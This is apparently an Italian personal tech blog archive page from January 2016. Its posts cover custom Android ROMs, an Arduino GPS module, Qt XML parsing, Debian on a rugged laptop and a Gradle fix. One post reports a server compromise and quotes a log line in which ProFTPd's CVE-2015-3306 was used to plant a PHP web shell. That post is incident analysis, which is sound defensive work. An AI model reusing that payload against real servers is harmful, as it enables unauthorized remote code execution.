martedì 26 gennaio 2016

CyanogenMod su XT1032: all'inferno e ritorno

Visto che il mio fidato Moto G 2013 prima edizione (altrimenti conosciuto come XT1032/Falcon) ha ormai raggiunto con Android 5.1 il termine degli aggiornamenti da parte di Motorola (peraltro nel frattempo defunta) ho voluto provare a fare il salto verso Android 6 MarshMallow con la CyanogenMod...mai mossa fu piu' avventata


Per prima cosa e' stato necessario sbloccare il bootloader (le istruzioni ufficiali si trovano a questo link). Non e' una operazione banale come con i Nexus in quanto bisogna far partire il telefono in modalita' fastboot con 

adb reboot bootloader

e poi farsi dire l'identificativo del dispositivo con il comando

fastboot oem get_unlock_data

il telefono risponde con un codice seriale di cinque righe che devono essere copiate e messe su una unica riga alla pagina a questo link
Verra' mandata una mail con un codice molto piu' corto da inserire nel comando

fastboot oem unlock codice_seriale_per_email

al successivo riavvio la tranquilizzante schermata di Moto viene cambiata in questo messaggio vagamente minaccios


il passo successivo e' stato installare la recovery TWRP (ogni telefono ha la sua, per Moto G si scarica da questo link). Facendo ripartire il telefono in modalita' bootloader si flasha la recovery con il comando 

fastboot flash recovery  twrp-2.8.6.0-xt1032.img

sul telefono viene generato un errore di mismatch delle dimensioni del file. va tutto bene, e' solo il telefono che protesta per vedere arrivare un file di dimensioni differenti da quelli di default

Modalita' Download
Ho dovuto fare un paio di tentativi per avere una installazione corretta di TWRP

A questo punto con il tasto Vol - si selezione Recovery e si conferma con il tasto Vol+ e si puo' installare il file zip precedentemente caricato sulla SD.

TWRP
E qui inizia il primo errore.Volendo installare Android 6 ho montato la CyanogenMod 12.1 che pero' corrisponde alla 5.1..quindi non ho guadagnato niente da questa nuova rom (seppure molto veloce). In piu' si e' aggiunto un problema perche' con l'installazione delle OpenGApps non funziona l'orologio di default di Google ne' la ricerca vocale (niente di drammatico ma a ma la sveglia serve)

Fatto 30 ho provato a fare 31 installando la CyanogemMod 13, attualmente solo in night build. Installazione completata correttamente e con il telefono ancora veloce.



Per finire ho montato le OpenGApss per Android 6 ed e' stato l'inizio dei problemi. Al riavvio il telefono era diventato non usabile perche' la Configurazione Automatica di Google (Configuration Wizard) andava in crash ogni secondo rendendo impossibile interagire con il telefono (e stupidamente non avevo prima attivato il supporto via Adb)

Vista l'impossibilita' di usare MarshMallow ho provato a tornare indietro e riflashare la 12.1 ma, per cause non chiare, il telefono e' rimasto per una buona mezz'ora bloccato sulla schermata bianca del bootloader di Motorola (la seconda di questo post) riavviandosi ogni 10 secondi e senza riuscire ad entrare in Download Mode

Dopo una serie di prove sono riuscito a riprendere almeno il controllo del bootloader e dovendo ripristinare la Rom originale almeno ho provato ad inserire la Google Play Edition con questa installazione facilitata

Adesso ho un Moto G  funzionante con Android 5.1 che condivide lo stesso software del Nexus 4

In conclusione:
1) CyanogenMod e' molto veloce ma l'integrazione con le app di Google e' molto delicata e non perfetta per cui si puo' andare rapidamente incontro a problemi

2) E' presto per MarshMallow su Moto G 2013

3) Con la TWRP e' possibile attivare la funzione ADB sideload (nel menu avanzate).Con questo sistema e' possibile flashare una immagine Rom senza caricarla in precedenza sulla memoria del telefono. Durante i vari disastri/tentativi per ripristinare il Moto G mi sono trovato nella condizione di non avere un sistema operativo funzionante e di poter scrivere sulla partizione dello storage. Digitando dal computer

adb sideload  cm-12.1-20151117-SNAPSHOT-YOG7DAO1K9-falcon.zip









venerdì 22 gennaio 2016

Ublox NEO M8N su Arduino

Dopo aver provato vari moduli GPS (qui e qui) per il mio acquisitore, ho comprato un UBlox Neo-M8N che dovrebbe garantire prestazioni un po' piu' professionali mantenendo il costo attorno ai 20-30 euro

In realta' il chip Ublox da solo e' sostanzialmente inutile perche' ha bisogno di elettronica di contorno e non e' banale da saldare in quanto e' SMD, quindi conviene comprare una scheda gia' assemblata. Ho preso quindi su Aliexpress il modulo sottostante, comprensivo di antenna passiva, che giunge con uno strano connettore a 4 fili ed uno a due fili


con un po' di ricerca ho scoperto che questo tipo di connettore e' compatibile con gli autopilot PixHawk, in pratica si tratta di un  modulo pronto per essere montato su un drone. Il mio obbiettivo era quello invece di usarlo con Arduino e visti i cavi sottili ho dovuto usare una millefori per fare una stabile di collegamento tra due tipi di fili di spessore differente 




Per testare il modulo e' disponibile il software Ucenter  per Windows. Non avendo a portata di mano una cavo FTDI ho connesso la seriale TTL dell'Ublox ad una Arduino su una seriale software per poi ridigere tutto sulla porta USB della Arduino (attenzione : il Neo-M8N ha una alimentazione massima a 3.3 V)

Questo e' lo sketch impiegato disponibile tra gli esempi della IDE di Arduino
----------------------------------------

#include <SoftwareSerial.h>

SoftwareSerial mySerial(2, 3); // RX, TX

void setup() {
  Serial.begin(9600);
  while (!Serial) {
  }

  mySerial.begin(9600);
}

void loop() { // run over and over
  if (mySerial.available()) {
    Serial.write(mySerial.read());
  }
  if (Serial.available()) {
    mySerial.write(Serial.read());
  }
}

----------------------------------------

Con il software Ucenter e' semplice avere una rappresentazione grafica della distribuzione dei punti. La nuvola dei punti e' rimasta nell'intorno di +/- 2 m con una standard deviation  inferiore al metro
Si vede chiaramente anche con l'Ublox riceva segnali sia GPS che Glonass


Questa e' la traccia invece plottata sul terreno. La posizione reale era al centro del rettangolo marrone


Questa e' la variazione in altezza registrata

Il modulo testato e' decisamente veloce nell'acquisizione ed ha delle caratteristiche migliori di Adafuit ad un prezzo comparabile. Cio' che manca e' la presenza di un Pin che permetta di spengere l'antenna per risparmiare energia

giovedì 21 gennaio 2016

Leggere file XML in Qt

Avevo necessita' di leggere un file xml generato da una mia applicazione mobile e dovendo scrivere un lettore multipiattaforma la mia scelta e' caduta su Qt

Questo e' il file da leggere
----------------------------
<?xml version="1.0" encoding="UTF-8"?>
<frane>
<frana id="1">
<localita>Pino Torinese</localita>
<comune>Torino</comune>
<data>19/01/2016</data>
<ora>1:45 pm</ora>
<compilatore>Luca Innocenti</compilatore>
<annotazioni></annotazioni>
<est></est>
<nord></nord>
<sistema>WGS84</sistema>
<A>4</A>
<EE>1</EE>
<H>2</H>
<ALPHA>3</ALPHA>
<F>2</F>
<V>4</V>
<M>2</M>
<codice>3/<codice>
</frana>
</frane>
----------------------------

e questo e' lo scheletro del codice Qt (piuttosto autoesplicativo). Prima si carica il file come xmlBOM e poi lo di scorre cercando le varie chiavi
Per la compilazione e' necessario aggiungere al progetto
Qt = + xml

----------------------------
#include "mainwindow.h"
#include "ui_mainwindow.h"

#include <iostream>
#include <QtXml>
#include <QFile>

MainWindow::MainWindow(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow)
{
    ui->setupUi(this);
}

MainWindow::~MainWindow()
{
    delete ui;
}

void MainWindow::on_pushButton_clicked()
{
     QDomDocument xmlBOM;
     QFile f("/Users/lucainnocenti/Triage.xml");
     if (!f.open(QIODevice::ReadOnly ))
     {
         std::cerr << "Error while loading file" << std::endl;
     }
     xmlBOM.setContent(&f);
     f.close();


     QDomElement root=xmlBOM.documentElement();
     QDomElement Component=root.firstChild().toElement();

     while(!Component.isNull())
     {
         if (Component.tagName()=="frana")
         {
           QDomElement Child=Component.firstChild().toElement();
           QString localita,comune,data,ora,compilatore;
           int A;

             while (!Child.isNull())
             {
                 // Read Name and value
                 if (Child.tagName()=="localita") localita=Child.firstChild().toText().data();
                 if (Child.tagName()=="comune") comune=Child.firstChild().toText().data();
                 if (Child.tagName()=="data") data=Child.firstChild().toText().data();
                 if (Child.tagName()=="ora") ora=Child.firstChild().toText().data();
                 if (Child.tagName()=="compilatore") compilatore=Child.firstChild().toText().data();
                 if (Child.tagName()=="A") A=Child.firstChild().toText().data().toInt();

                 Child = Child.nextSibling().toElement();
             }
             std::cout << "Localita = " << localita.toStdString().c_str() << std::endl;
             std::cout << "Comune = " << comune.toStdString().c_str() << std::endl;
             std::cout << "Data = " << data.toStdString().c_str() << std::endl;
             std::cout << "Ora = " << ora.toStdString().c_str() << std::endl;
             std::cout << "Compilatore = " << compilatore.toStdString().c_str() << std::endl;
             std::cout << "A = " << localita.toStdString().c_str() << std::endl;
             std::cout << std::endl;
             ui->label->setText(comune);
         }
         Component = Component.nextSibling().toElement();
     }
}
----------------------------

mercoledì 20 gennaio 2016

Debian su ToughBook CF-18


Ho preso, per l'uso in campagna (dopo aver rischiato di perdere un Lenovo X202 per l'umidita'), un vecchio Panasonic ToughBook CF-18 ed invece di montare Windows XP ho provato a vedere come reagiva con una Debian moderna (tempo fa avevo provato un Panasonic FZ-A1 che fa parte della stessa famiglia)

La cosa che mi preoccupava di piu' era il riconoscimento del digitalizzatore (non ho preso il modello a touchscreen ma quello che funziona solo con il suo pennino)


In realta' non ho dovuto fare molto perche' il digitalizzatore e' riconosciuto subito dal sistema di installazione di Debian senza nessuna configurazione

Mi ha dato un po' piu' da penare la scheda wireless, una Intel Pro Wireless 2200. Dopo l'installazione ho abilitato i repository non-free  caricato il firmware

apt-get install firmware-ipw2x00
ma in ifconfig nessuna traccia del dispositivo. Leggendo i log di sistema non c'erano errori del caricamento del modulo

La soluzione e' chiamare il comando iwconfig dove si vede che il dispositivo viene chiama eth1 e non wlan0 come mi sarei aspettato



Fatto cio' ho pouto configurare a mano il Network Manager di Lxde (che non riconosce in automatica le schede wireless) e potuto iniziare ad usare il dispositivo (veramente solido ma con una tastiera ed un trackpad da bambino di 10 anni)


martedì 19 gennaio 2016

Sostituire batteria su Moto E

Come il suo fratello maggiore Moto G, anche il Moto E non ha la batteria sostituibile perche' e' bloccata dalla scocca.

Purtroppo il tempo di vita della batteria EL40 e' stato inferiore ai due anni ed invece di ricomprare un altro telefono ho provato la sostituzione. Mi sono comprato su un ecommerce cinese un set di attrezzi per smontare il telefono ma le chiavi si sono mostrate sbagliate

Ho notato che lo chassis che blocca la batteria e' costituito da una sottile lamina di plastica (al contrario del Moto G dove la batteria e' completamente bloccata)




Con molta calma ed agendo dal basso verso l'alto (non e' una buona idea bucare il contenitore di una batteria LiPo) ho tagliato la plastica su uno dei due bordi ed alzato il coperchio


Il connettore della batteria e' a soli due contatti ed e' a pressione.
10 minuti di lavoro e 10 euro di batteria ed il telefono e' tornato funzionante

lunedì 18 gennaio 2016

Gradle error

Oggi compilando, senza modifiche, un progetto Android Studio che fino a due giorni fa funzionava ho avuto l'errore

Plugin is too old, please update to a more recent version, or set ANDROID_DAILY_OVERRIDE environment variable to "efdc9743630b8ba5a00eaeaa1375fff7cdb0e3cb"


la soluzione e' piuttosto nascosto e si deve aggiornare la stringa

classpath 'com.android.tools.build:gradle:2.0.0-alpha2'

a

classpath 'com.android.tools.build:gradle:2.0.0-alpha3'
in build.gradle di CordovaLib ed in build.gradle di Android

mercoledì 13 gennaio 2016

FTP exploit CVE-2015-3306 su Ubuntu 14.04 LTS

Frugando su un server che non amministro direttamente e' stata trovata questa stringa ed e' ovviamente scattato l'allarme generale

proftpd: 31.131.56.168:57602: SITE cpto /tmp/.<?php eval($_REQUEST[cmd]); echo GOOD;?>
dopo una breve verifica e' stata trovato il file di configurazione di Wordpress copiato in una directory leggibile del sistema (wp-contente/themes) ed e' stato chiara la compromissione

analizzando i log di ProFtpd erano presenti nell'ultimo mese solo due accessi di pochi secondi dall'ip sopra indicato (che corrisponde ad un indirizzo polacco...avrei scommesso qualsiasi cosa su Cina e Russia) a testimoniare che l'ospite e' andato a colpo sicuro (forse uno script kiddie)

La macchina in esame era una Ubuntu 14.04 LTS (non aggiornata perche' non era stato impostato il DNS giusto ma vedremo che cio' non ha influito) con montato ProFtpd 1.3.5rc3

Consultando questo link
https://www.exploit-db.com/exploits/36742/
si vede che la versione installata permette l'esecuzione di copia di comandi anche ad utenti non autenticati (mi sembra di essere tornato indietro di 10-12 anni ai tempi di Red Hat 7..)

il codice Php e' una shell Php


Attacchi praticamente identici sono descritti a questo link

A questo punto basta fare un update/upgrade per scaricare la versione patchata del server ftp e si va avanti...peccato che Ubuntu 14.04 non abbia nella lista degli aggiornamenti il server ProFtpd patchato
Guardando meglio a questo link
http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-3306.html
si vede che le versioni del 2015 sono immuni dal problemi mentre la 14.04, benche' sia una LTS e' vulnerabile


per quanto riguarda Debian la versione 7 ha nei repository la versione 1.3.4 (vecchiotta ma sembra esente da problemi di exploit mentre la versione 8 monta la 1.3.5.1 patchata
da questo link si evidenzia che Debian e' esente dal problema https://security-tracker.debian.org/tracker/CVE-2015-3306


Lunga vita a Debian

Debugger integrato ESP32S3

Aggiornamento In realta' il Jtag USB funziona anche sui moduli cinesi Il problema risiede  nell'ID USB della porta Jtag. Nel modulo...